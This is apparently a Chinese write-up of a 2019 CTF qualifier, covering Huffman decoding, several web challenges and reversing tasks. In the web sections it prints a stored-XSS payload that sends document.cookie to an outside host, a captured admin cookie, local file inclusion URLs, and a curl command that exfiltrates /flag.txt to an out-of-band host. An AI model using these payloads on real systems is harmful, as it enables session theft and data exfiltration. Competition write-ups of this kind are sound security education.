西湖论剑2019预选赛部分writeup

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昨天玩了一天的西湖论剑预选赛,自己主要做了crypto和web,有大佬级队友做了二进制的,在这里总结一下.

一.crypto

题目: 哈夫曼之谜

题目链接:https://xpro-adl.91ctf.com/userdownload?filename=1904055ca752d3c1f20.zip&type=attach&feature=custom

题目描述:

打开压缩包后得到一个文本文件,内容如下

11000111000001010010010101100110110101111101110101011110111111100001000110010110101111001101110001000110

a:4
d:9
g:1
f:5
l:1
0:7
5:9
{:1
}:1

根据题目名哈夫曼之谜,很容易想到是哈夫曼编码与解码的问题

题目分析:

对于哈夫曼编码的介绍就不多说,每个计算机专业的同学应该上数据结构课都学过,具体可以参考百度百科:https://baike.baidu.com/item/%E5%93%88%E5%A4%AB%E6%9B%BC%E7%BC%96%E7%A0%81/1719730?fr=aladdin

对于这个题目,第一行的01串显然就是flag编码后的结果,被编码的元素是左边一列的字母,他们对应的权重在第二列,对于一个哈夫曼编码问题,首先需要根据元素的权重构建哈夫曼树,然后对要编码的字符串按照一定的算法进行编码,然后再按照一定的算法进行解码.这些算法我们不需要知道详细过程,做题时可完全没有必要自己实现一个哈夫曼编码,太费时间,所以我们可以参考网上实例代码进行修改即可

参考的哈夫曼编码代码的博客地址:https://blog.csdn.net/qq_40328281/article/details/80412359

代码分析:要修改的地方其实就是最大的编码长度maxn,text长度n,权重数据weight和text数组.



#include "pch.h"
#include <iostream>


const int maxvalue = 200;
const int maxbit = 200;
const int maxn = 200;
#include "stdio.h"
#include "stdlib.h"
using namespace std;
struct haffnode
{
    char ch;
    int weight;
    int flag;
    int parent;
    int leftchild;
    int rightchild;
};
struct code
{
    int bit[maxn];
    int start;
    int weight;
    char ch;
};
void haffman(int weight[], char text[], int n, haffnode hafftree[])
{
    int j, m1, m2, x1, x2, i;
    for (i = 0; i < 2 * n - 1; i++)
    {
        if (i < n)
        {
            hafftree[i].weight = weight[i];
            hafftree[i].
                ch = text[i];
        }
        else
        {
            hafftree[i].weight = 0;
            hafftree[i].ch = '#';
        }
        hafftree[i].parent = 0;
        hafftree[i].flag = 0;
        hafftree[i].leftchild = -1;
        hafftree[i].rightchild = -1;
    }
    for (i = 0; i < n - 1; i++)
    {
        m1 = m2 = maxvalue;
        x1 = x2 = 0;
        for (j = 0; j < n + i; j++)
        {
            if (hafftree[j].weight < m1&&hafftree[j].flag == 0)
            {
                m2 = m1;
                x2 = x1;
                m1 = hafftree[j].weight;
                x1 = j;
            }
            else if (hafftree[j].weight < m2&&hafftree[j].flag == 0)
            {
                m2 = hafftree[j].weight; x2 = j;
            }
        }
        hafftree[x1].parent = n + i;
        hafftree[x2].parent = n + i;
        hafftree[x1].flag = 1;
        hafftree[x2].flag = 1;
        hafftree[n + i].weight = hafftree[x1].weight + hafftree[x2].weight;
        hafftree[n + i].leftchild = x1; hafftree[n + i].rightchild = x2;
    }
}
void haffmancode(haffnode hafftree[], int n, code haffcode[])
{
    code cd; int i, j; int child, parent;
    for (i = 0; i < n; i++)
    {
        cd.start = n - 1;
        cd.weight = hafftree[i].weight;
        cd.ch = hafftree[i].ch;
        child = i;
        parent = hafftree[child].parent;
        while (parent != 0)
        {
            if (hafftree[parent].leftchild == child)
                cd.bit[cd.start] = 0;
            else cd.bit[cd.start] = 1;
            cd.start--;
            child = parent;
            parent = hafftree[child].parent;
        }
        for (j = cd.start + 1; j < n; j++)
            haffcode[i].bit[j] = cd.bit[j];
        haffcode[i].start = cd.start;
        haffcode[i].weight = cd.weight;
        haffcode[i].ch = cd.ch;
    }
}
void ccode(haffnode hafftree[], int n)
{
    int i, j = 0, m = 2 * n - 1;
    char b[maxn];
    memset(b, '', sizeof(b));
    i = m - 1;
    scanf("%s", b);
    while (b[j] != '')
    {
        if (b[j] == '0')
            i = hafftree[i].leftchild;
        else
            i = hafftree[i].rightchild;
        if (hafftree[i].leftchild == -1)
        {
            printf("%c", hafftree[i].ch);
            i = m - 1;
        }
        j++;
    }
}
int main()
{
    int n = 9;
    int weight[] = { 4, 9, 1, 5, 1,7,9,1,1 };
     char text[] = { 'a','5','{','f','g','0','d','}','l' };
    haffnode myhafftree[maxvalue];
    code myhaffcode[maxvalue]  ;// "11000111000001010010010101100110110101111101110101011110111111100001000110010110101111001101110001000110";
    haffman(weight, text, n, myhafftree);
    haffmancode(myhafftree, n, myhaffcode);
    ccode(myhafftree, n);
    return 0;
}

运行结果:

image.png

 

二.web

1.babyt3

题目链接:http://ctf1.linkedbyx.com:10160/

题目解析:

通过扫描器发现存在.DS_Store文件,所以通过工具找到web路径

git clone https://github.com/lijiejie/ds_store_exp.git
python ds_store_exp.py http://ctf1.linkedbyx.com:10160/.DS_Store
[+] http://ctf1.linkedbyx.com:10160/.DS_Store
[+] http://ctf1.linkedbyx.com:10160/templates/.DS_Store
[+] http://ctf1.linkedbyx.com:10160/dir.php
[+] http://ctf1.linkedbyx.com:10160/index.php/.DS_Store
[+] http://ctf1.linkedbyx.com:10160/templates/index.html

当我们直接访问首页时,发现存在一段:include $_GET[‘file’],所以尝试任意文件读:ctf1.linkedbyx.com:10160/?file=/proc/self/maps

结果能读取本进程的内存映射信息,然后尝试读dir.php:

ctf1.linkedbyx.com:10160/?file=dir.php发现一个hint,后面是一段base64编码,解开后得到dir.php.

到这里就稍微有点奇怪了,之前已经泄露了web路径,这里又提示dir.php,这不重复了么,但仔细一想应该不会重复提示路径,这个提示应该有另一层含义,于是根据文件名猜测这个文件可以列目录,即http://ctf1.linkedbyx.com:10160/dir.php?dir=/

结果果然显示了根路径下的文件,发现里面有个ffffflag_1s_Her4文件,于是直接

读取:http://ctf1.linkedbyx.com:10160/?file=/ffffflag_1s_Her4

得到flag.

2.breakout

domain:ctf1.linkedbyx.com

port:10231

题目解析:

打开web页面发现需要登录,随便填写用户名和密码就登录上去了.登录进入之后发现里面有3个子页面,第一个子页面可以留言评论,第二个子页面是将某个链接发送给管理员,管理员会携带cookie查看该页面,第三个子页面是执行命令和清除留言,尝试直接输入命令执行,提示说要有管理员权限才可以执行命令.到这里,很显然这是一个xss漏洞盗取管理员cookie然后登录管理员账号去执行命令.

在留言处,经过测试,发现会过滤script字符串为:)微笑脸,测试onload之类的属性,发现这些属性一旦被包含在<>中也会被过滤,再构造payload如下svg/onload
=window.location.href=”http://794479644:2233/?”+document.cookie
这次没有问题了,所以通过将存在存储型xss的链接通过子页面2发送给管理员,这里说一句,发送时需要填写验证码,这个验证吗是取md5的前6位,通过下面代码爆破即可

#!/usr/bin/env python
import hashlib

def md5(s):
    return hashlib.md5(s).hexdigest()

for i in range(1, 9999999):
    if md5(str(i)).startswith('bda8'):#这里bda8改为6位的验证码
        print i
        break

打到的cookie如下: [07/Apr/2019 14:11:00] “GET /?PHPSESSID=vqp2s89la2r2nps4fjmmu1ibn3;%20token=tndPF6Lo3OUkKY19JcmIhA==;%20admin=admin_!@@!_admin_admin_hhhhh HTTP/1.1” 200 –
在burpsuite里面替换原来的cookie,再使用ceye卡带外得到flag.这里的执行命令不回显,所以通过ceye带外也可以得到flag的

POST /exec.php HTTP/1.1
Host: ctf1.linkedbyx.com:10231
Content-Length: 97
Cache-Control: max-age=0
Origin: http://ctf1.linkedbyx.com:10231
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://ctf1.linkedbyx.com:10231/exec.php
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=m2sgspv9b0mi3c4fg596flsco5; token=mZB3UVXDUYoNeRf3eAskqg%3D%3D; admin=admin_!@@!_admin_admin_hhhhh; 
Connection: close

command=curl http://xxxxxx.bjslfd.ceye.io/`cat /flag.txt|base64`&exec=1

flag{fa51320ae808c70485dd5f30337026d6}

3.猜猜flag是什么

domain:ctf2.linkedbyx.com

port:10782

题目详解:

又是一个web路径泄露:

http://ctf2.linkedbyx.com:10782/.DS_Store

[+] http://ctf2.linkedbyx.com:10782/.DS_Store
[+] http://ctf2.linkedbyx.com:10782/yingyingying/.DS_Store
[+] http://ctf2.linkedbyx.com:10782/index.php/.DS_Store
[+] http://ctf2.linkedbyx.com:10782/e10adc3949ba59abbe56e057f20f883e
[+] http://ctf2.linkedbyx.com:10782/flag
[+] http://ctf2.linkedbyx.com:10782/yingyingying/index.html

访问flag,提示没那么容易得到flag,显然还需要通过别的操作.对于e10adc3949ba59abbe56e057f20f883e这个路径,又得到源码泄露:

http://101.68.81.235:10782/e10adc3949ba59abbe56e057f20f883e/.git/

BackupForMySite.zip 有密码,但是是已知明文攻击
index.php
lengzhu.jpg
[OK] index.php
[OK] lengzhu.jpg
[OK] BackupForMySite.zip

下载BackupForMySite.zip ,发下有密码,但通过winrar查看里面的文件,是存在一个lengzhu.jpg的,我们再下载这个lengzhu.jpg,显然是一个zip的已知明文攻击.

首先使用2345好压将lengzhu.jpg压缩成zip,为什么要用好压呢,因为BackupForMySite.zip是好压进行压缩的,攻击时也需要用同样的软件压缩明文,但又为什么知道是好压呢,我是一个个测试的,发现winrar和7zip都不行,然后下载了好压发现可以. 然后利用archpr工具,选择明文攻击,加载好2个zip文件进行攻击即可,过一段时间停止攻击,会发现并没有得到密码,但是可以解压缩文件,这是明文攻击的特性,而且我们也没有必要知道密码,能解压就好.

解压得到hint内容:

code is 9faedd5999937171912159d28b219d86
well ok ur good...By the way, flag saved in flag/seed.txt

然后来到首页,提示没有code,因此通过get方法指定:

http://ctf2.linkedbyx.com:10782/?code=9faedd5999937171912159d28b219d86

得到一个随机数,然后又根据hint知道是php伪随机数不安全爆破seed的思路.

接着根据这个随机数使用php_mt_seed工具爆破seed:

image.png

php_mt_seed工具的下载及使用:https://www.openwall.com/php_mt_seed/

然后尝试下得到的这些seed,发现361845是真正的seed, 访问即可得到flag:

image.png

 

三.re

1.junk_instruction

题目文件:https://xpro-adl.91ctf.com/userdownload?filename=1904055ca752e532f14.zip&type=attach&feature=custom

从题目名字看出,这是一个含有垃圾指令例如花指令的程序.

而且从文件图标来看,显然是一个mfc写的程序.

打开程序发现需要输入flag,然后点击check来检测是否正确.可以猜测是将我们的输入进行各种加密处理然后和程序中的某个字符串(可能是动态生成的)比较,得出是否输入正确.

通过xspy工具:https://github.com/lynnux/xspy/tree/master/xspydll

找到check按钮的处理函数:

image.png

查看该函数

image.png

从这个check函数的逻辑看,应该是402600对输入进行判断,下面2个if分支对应于输入正确和错误的弹窗.跟进402600,发现该函数后面又几段花指令,例如这个:

image.png

call %+5直到下面的retn都是花指令,找到这几段类似的代码,全部nop掉即可.

然后f5反编译:

  v2 = (const WCHAR *)sub_401570(&a1);
  v17 = (void *)sub_4030A0(v2);
  v13 = v17;
  LOBYTE(v70) = 1;
  v3 = (void *)sub_401570(v17);
  sub_403000((int)&v60, v3);
  LOBYTE(v70) = 3;
  sub_4012A0(&v18);
  v19 = (char *)unknown_libname_1(&v60);
  v54 = v19;
  v16 = v19 + 1;
  v54 += strlen(v54);
  v14 = ++v54 - (v19 + 1);
  v12 = v54 - (v19 + 1);
  v68 = 0;
  memset(&v69, 0, 0x27u);
  strncpy(&v68, v19, v54 - (v19 + 1));
  if ( sub_402AF0(&v68) )                       // 判断输入长度
  {
    v57 = 0;
    v59 = 0;
LABEL_7:
    v58 = v59;
  }
  else
  {
    v63 = 1919252337;//这里是rc4密钥
    v64 = 1769306484;
    v65 = 28783;
    v66 = 0;
    memset(&v67, 0, 0xF5u);
    v61 = 0;
    memset(&v62, 0, 0xFFu);
    v7 = 0;
    memset(&v8, 0, 0x1FFu);
    v53 = (const char *)&v63;
    v10 = (int *)((char *)&v63 + 1);
    v53 += strlen(v53);
    v9 = ++v53 - ((const char *)&v63 + 1);
    v6 = v53 - ((const char *)&v63 + 1);
    v5 = &v63;
    sub_402CA0(&v61);
    v56 = &v68;
    v15 = &v69;
    v56 += strlen(v56);
    v11 = ++v56 - &v69;
    sub_402E80(v20, &v61, &v68, v56 - &v69);
    for ( i = 31; i >= 0; --i )
    {
      if ( *(&v68 + i) != *((char *)&savedregs + i + (_DWORD)&loc_4026B7 - 4204867) )
      {
        v59 = 0;
        goto LABEL_7;
      }
    }
    v58 = 1;
  }
  LOBYTE(v70) = 0;
  sub_403060((int)&v60);
  v70 = -1;
  sub_4012A0(&a1);
  return v58;
}

通过分析程序先将输入进行了逆序,再使用rc4加密.

rc4数组初始化:该函数也是被花指令的,使用相同方法处理即可

void __cdecl sub_402CA0(_BYTE *a1, int a2, unsigned int a3)
{
  char v3; // ST1B_1
  int v4; // [esp+8h] [ebp-114h]
  signed int i; // [esp+10h] [ebp-10Ch]
  signed int j; // [esp+10h] [ebp-10Ch]
  char v7; // [esp+18h] [ebp-104h]
  char v8; // [esp+19h] [ebp-103h]

  v4 = 0;
  v7 = 0;
  memset(&v8, 0, 0xFFu);
  for ( i = 0; i < 256; ++i )
  {
    a1[i] = i;
    *(&v7 + i) = *(_BYTE *)(a2 + i % a3);
  }
  for ( j = 0; j < 256; ++j )
  {
    v4 = (*(&v7 + j) + v4 + (unsigned __int8)a1[j]) % 256;
    v3 = a1[j];
    a1[j] = a1[v4];
    a1[v4] = v3;
  }
}

进行比较判断

image.png

加密函数:该函数也是被花指令的,使用相同方法处理即可

int __stdcall sub_402E80(int a1, int a2, unsigned int a3)
{
  int result; // eax
  char v4; // ST1B_1
  int v5; // [esp+Ch] [ebp-18h]
  unsigned int i; // [esp+10h] [ebp-14h]
  int v7; // [esp+14h] [ebp-10h]

  v7 = 0;
  v5 = 0;
  for ( i = 0; i < a3; ++i )
  {
    v7 = (v7 + 1) % 256;
    v5 = (v5 + *(unsigned __int8 *)(v7 + a1)) % 256;
    v4 = *(_BYTE *)(v7 + a1);
    *(_BYTE *)(v7 + a1) = *(_BYTE *)(v5 + a1);
    *(_BYTE *)(v5 + a1) = v4;
    *(_BYTE *)(i + a2) ^= *(_BYTE *)((*(unsigned __int8 *)(v5 + a1) + *(unsigned __int8 *)(v7 + a1)) % 256 + a1);
    result = i + 1;
  }
  return result;
}

而check函数的这段正是用于比较的数组

image.png

最种解密如下:

image.png

import base64
key = "qwertyuiop" 
res = [0xfa,0x45,0xd0,0x9e,0,0xc,0x9f,0x82,0x57,0x89,0xe5,0xf7,0xb0,0x64,0x76 ,0xdd,0xaf,0xff,0x7d,0x91,0x16,0xcb,0x3e,0x6e,0x7e,0x19,0xdd,0xc8,0x26,0xd0,0xd6,0x5b] 
res = res[::-1] 
tmp = "" 
for i in res:
    tmp += chr(i)
tmp = base64.b64encode(tmp) 
print tmp
ff = "f250e3d75820847d427f3af11a783379" 
flag = ['*']*32 
for i in range(16): 
    flag[i] = ff[31-i] 
    flag[31-i] = ff[i]
print "flag{%s"%("".join(flag))+'}'

W9bQJsjdGX5uPssWkX3/r912ZLD35YlXgp8MAJ7QRfo=
flag{973387a11fa3f724d74802857d3e052f}

2.Testre

题目文件链接: https://xproadl.91ctf.com/userdownload?filename=1904055ca752e746df2.zip&type =attach&feature=custom

ida打开文件,main函数如下

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  void *ptr; // ST10_8
  __int64 v5; // [rsp+18h] [rbp-28h]
  char v6; // [rsp+20h] [rbp-20h]
  int v7; // [rsp+3Ch] [rbp-4h]

  v7 = 0;
  v5 = 256LL;
  sub_400D00((__int64)&v6, 0x11uLL);
  ptr = malloc(0x100uLL);
  sub_400700(ptr, &v5, (__int64)&v6, 0x10uLL);
  free(ptr);
  return 0LL;
}

跟进sub_400D00,发现是个接受输入的函数

跟进sub_400700:

 for ( i = 0LL; i < v28; ++i )
  {
    v13 = *(unsigned __int8 *)(v25 + i);
    *((_BYTE *)v26 + i) = byte_400E90[i % 0x1D] ^ v13;
    *((_BYTE *)v26 + i) += *(_BYTE *)(v25 + i);
  }
  while ( 1 )
  {
    v12 = 0;
    if ( v17 < v28 )
      v12 = ~(*(_BYTE *)(v25 + v17) != 0);
    if ( !(v12 & 1) )
      break;
    ++v17;
  }

这部分将一个字符串和输入进行了异或加密,但后面会发现,并没有用到

 while ( v20 < v28 )                           // 这里是base58编码的处理过程
  {
    v21 = *(unsigned __int8 *)(v25 + v20);
    for ( j = n - 1; ; --j )
    {
      v10 = 1;
      if ( j <= v18 )
        v10 = v21 != 0;
      if ( !v10 )
        break;
      v22 = v11[j] << 6;
      v21 += v11[j] << 8;
      v9 = 64;
      v11[j] = v21 % 58;
      *((_BYTE *)v26 + j) = v22 & 0x3F;
      v22 >>= 6;
      v21 /= 58;
      v27 /= v9;
      if ( !j )
        break;
    }
    ++v20;
    v18 = j;
  }

这个循环才是主菜,我们暂时不去详细分析算法过程,比较复杂,但是可以看到常量58,被模了一下和被除了一下.继续看下面

 if ( *v30 > n + v17 - j )
  {
    if ( v17 )                                  // 不会执行到这里面,又是干扰分析
    {
      c = 61;
      memset(encode_input, '1', v17);
      memset(v26, c, v17);
    }
    v20 = v17;
    while ( j < n )
    {
      v4 = v11;
      *((_BYTE *)encode_input + v20) = byte_400EB0[v11[j]];// base58编码表代换
      *((_BYTE *)v26 + v20++) = byte_400EF0[v4[j++]];// 这个base64编码表并没有参与编码计算,干扰项
    }
    *((_BYTE *)encode_input + v20) = 0;
    *v30 = v20 + 1;
    if ( !strncmp((const char *)encode_input, "D9", 2uLL)// 结果比较
      && !strncmp((const char *)encode_input + 20, "Mp", 2uLL)
      && !strncmp((const char *)encode_input + 18, "MR", 2uLL)
      && !strncmp((const char *)encode_input + 2, "cS9N", 4uLL)
      && !strncmp((const char *)encode_input + 6, "9iHjM", 5uLL)
      && !strncmp((const char *)encode_input + 11, "LTdA8YS", 7uLL) )
    {
      HIDWORD(v6) = puts("correct!");
    }
    v32 = 1;
    v14 = 1;
  }

到这里发现有2个数组,分别是

.rodata:0000000000400EB0 byte_400EB0     db '1'                  ; DATA XREF: sub_400700+446↑r
.rodata:0000000000400EB1 a23456789abcdef db '23456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',0
.rodata:0000000000400EEB                 align 10h
.rodata:0000000000400EF0 ; char byte_400EF0[]
.rodata:0000000000400EF0 byte_400EF0     db 'A'                  ; DATA XREF: sub_400700+464↑r
.rodata:0000000000400EF1 aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0

显然一个是base64编码表,一个是base58编码表,最开始把base58编码表看成了是数字加所有字母,浪费大量时间分析.

仔细观察代码,其实进行base64编码的过程是针对v26,但是v26变量指向的内存完全没有和最后的比较产生关系,所以这都是干扰做题的

最后观察比较语句,提取出最终串:D9cS9N9iHjMLTdA8YSMRMp

对其进行base58解码就是flag:

import base58 as bs
bs.b58decode('D9cS9N9iHjMLTdA8YSMRMp')
#output: base58_is_boring

base58通过pip install base58即可安装

3.easyCpp

题目链接: https://xproadl.91ctf.com/userdownload?filename=1904055ca752e6ae1c5.zip&type =attach&feature=custom

这个要求对 c++的 stl 比较熟悉

直接来到main:

 for ( i = 0; i <= 15; ++i )
  {
    scanf("%d", &v25[4 * i], v15);
    std::vector<int,std::allocator<int>>::push_back(&our_input, &v25[4 * i]);
  }
  for ( j = 0; j <= 15; ++j )                   // 生成斐波那契数列
  {
    LODWORD(input_begin) = fib(j);
    std::vector<int,std::allocator<int>>::push_back(&fib_list, &input_begin);
  }

接受输入和生成斐波那契数列

  std::vector<int,std::allocator<int>>::push_back(&v20, v25);
  v7 = std::back_inserter<std::vector<int,std::allocator<int>>>(&v20);
  input_end = std::vector<int,std::allocator<int>>::end(&our_input);
  input_begin = std::vector<int,std::allocator<int>>::begin(&our_input);
  v9 = __gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>::operator+(&input_begin, 1LL);// 对input每个元素加1
  std::transform<__gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>,std::back_insert_iterator<std::vector<int,std::allocator<int>>>,main::{lambda(int)#1}>(
    v9,
    input_end,
    v7,
    v25);
  std::vector<int,std::allocator<int>>::vector(&v23, input_end, v10);
  std::vector<int,std::allocator<int>>::end(&v20);
  std::vector<int,std::allocator<int>>::begin(&v20);
  std::accumulate<__gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>,std::vector<int,std::allocator<int>>,main::{lambda(std::vector<int,std::allocator<int>>,int)#2}>((unsigned __int64)&input_begin);
  std::vector<int,std::allocator<int>>::operator=(&v21, &input_begin);
  std::vector<int,std::allocator<int>>::~vector(&input_begin);
  std::vector<int,std::allocator<int>>::~vector(&v23);
  if ( (unsigned __int8)std::operator!=<int,std::allocator<int>>(&v21, &fib_list) )// 必须相同
  {
    puts("You failed!");
    exit(0);
  }

transform是把v9的每个元素通过匿名函数进行转换,结果存入v20

进入transform:

   v4 = (int *)__gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>::operator*(&input_begin_1);
    v11 = main::{lambda(int)#1}::operator() const((_DWORD **)&v29, *v4);// 把输入的vector和v29相加
    v5 = std::back_insert_iterator<std::vector<int,std::allocator<int>>>::operator*(&v24_backinsert);
    std::back_insert_iterator<std::vector<int,std::allocator<int>>>::operator=(v5, &v11);
    __gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>::operator++(&input_begin_1);
    std::back_insert_iterator<std::vector<int,std::allocator<int>>>::operator++(&v24_backinsert);

再进入main::{lambda(int)#1}::operator() const((_DWORD *)&v29, v4);:

__int64 __fastcall main::{lambda(int)#1}::operator() const(_DWORD **a1, int a2)
{
  return (unsigned int)(**a1 + a2);
}

这下就知道这个就是把输入和输入的第一个元素相加

接着看std::accumulate,这个程序的std::accumulate和c++的不一样不知道是不是ida识别错误,打开看这个函数,内部还是有个匿名函数,静态分析比较复杂,我们通过动态调试来分析
根据 std::vector<int,std::allocator<int>>::operator=(&v25, &input_begin);
std::vector<int,std::allocator<int>>::~vector(&input_begin);
std::vector<int,std::allocator<int>>::~vector(&v27);
if ( (unsigned __int8)std::operator!=<int,std::allocator<int>>(&v25, &fib_list) )// 必须相同

我们需要分析v25的内容,通过下断std::vector<int,std::allocator<int>>::~vector(&input_begin);再查看v25:
gef➤ x/10gx $rsp+0x90
0x7fffc6f61660: 0x0000000002007f10 0x0000000002007f50
0x7fffc6f61670: 0x0000000002007f50 0x0000000000000000
0x7fffc6f61680: 0x0000000000000000 0x0000000000000000
0x7fffc6f61690: 0x0000000000000000 0x0000000000000000
0x7fffc6f616a0: 0x0000000000000000 0x0000000000000000

地址为0x0000000002007f10, 再查看堆:

…….]
Chunk(addr=0x2007e30, size=0x50, flags=PREV_INUSE)
[0x0000000002007e30 00 00 00 00 00 00 00 00 24 00 00 00 23 00 00 00 ……..$…#…]
Chunk(addr=0x2007e80, size=0x50, flags=PREV_INUSE)
[0x0000000002007e80 20 7e 00 02 00 00 00 00 24 00 00 00 23 00 00 00 ~……$…#…]
Chunk(addr=0x2007ed0, size=0x40, flags=PREV_INUSE)
[0x0000000002007ed0 00 00 00 00 00 00 00 00 23 00 00 00 22 00 00 00 ……..#…”…]
Chunk(addr=0x2007f10, size=0x50, flags=PREV_INUSE)
[0x0000000002007f10 27 00 00 00 26 00 00 00 25 00 00 00 24 00 00 00

gef➤ x/16wx 0x0000000002007f10
0x2007f10: 0x00000027 0x00000026 0x00000025 0x00000024
0x2007f20: 0x00000023 0x00000022 0x00000021 0x00000020
0x2007f30: 0x0000001f 0x0000001e 0x0000001d 0x0000001c
0x2007f40: 0x0000001b 0x0000001a 0x00000019 0x0000000c

发现这个是把输入进行了反向. 总结一下加密流程

1.接受16个数字输入
2.计算斐波那契数列前16项
3.把16个数字输入从第二个元素开始,都加上第一个元素
4.将3的结果反向
5.将4的结果和2的结果比较,完全相同则输入的是flag

解密脚本:

a = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987] 
c = a[::-1] 
d = [987] 
for i in range(1,len(c)): 
    d.append(c[i]-987)
import pprint
pprint.pprint(d)
输出:
[987,
 -377,
 -610,
 -754,
 -843,
 -898,
 -932,
 -953,
 -966,
 -974,
 -979,
 -982,
 -984,
 -985,
 -986,
 -986]

getflag:

from pwn import *

p = process('./easyCpp')
input_ = [987,
 -377,
 -610,
 -754,
 -843,
 -898,
 -932,
 -953,
 -966,
 -974,
 -979,
 -982,
 -984,
 -985,
 -986,
 -986]
for i in input_:
    p.sendline(str(i))

p.interactive()
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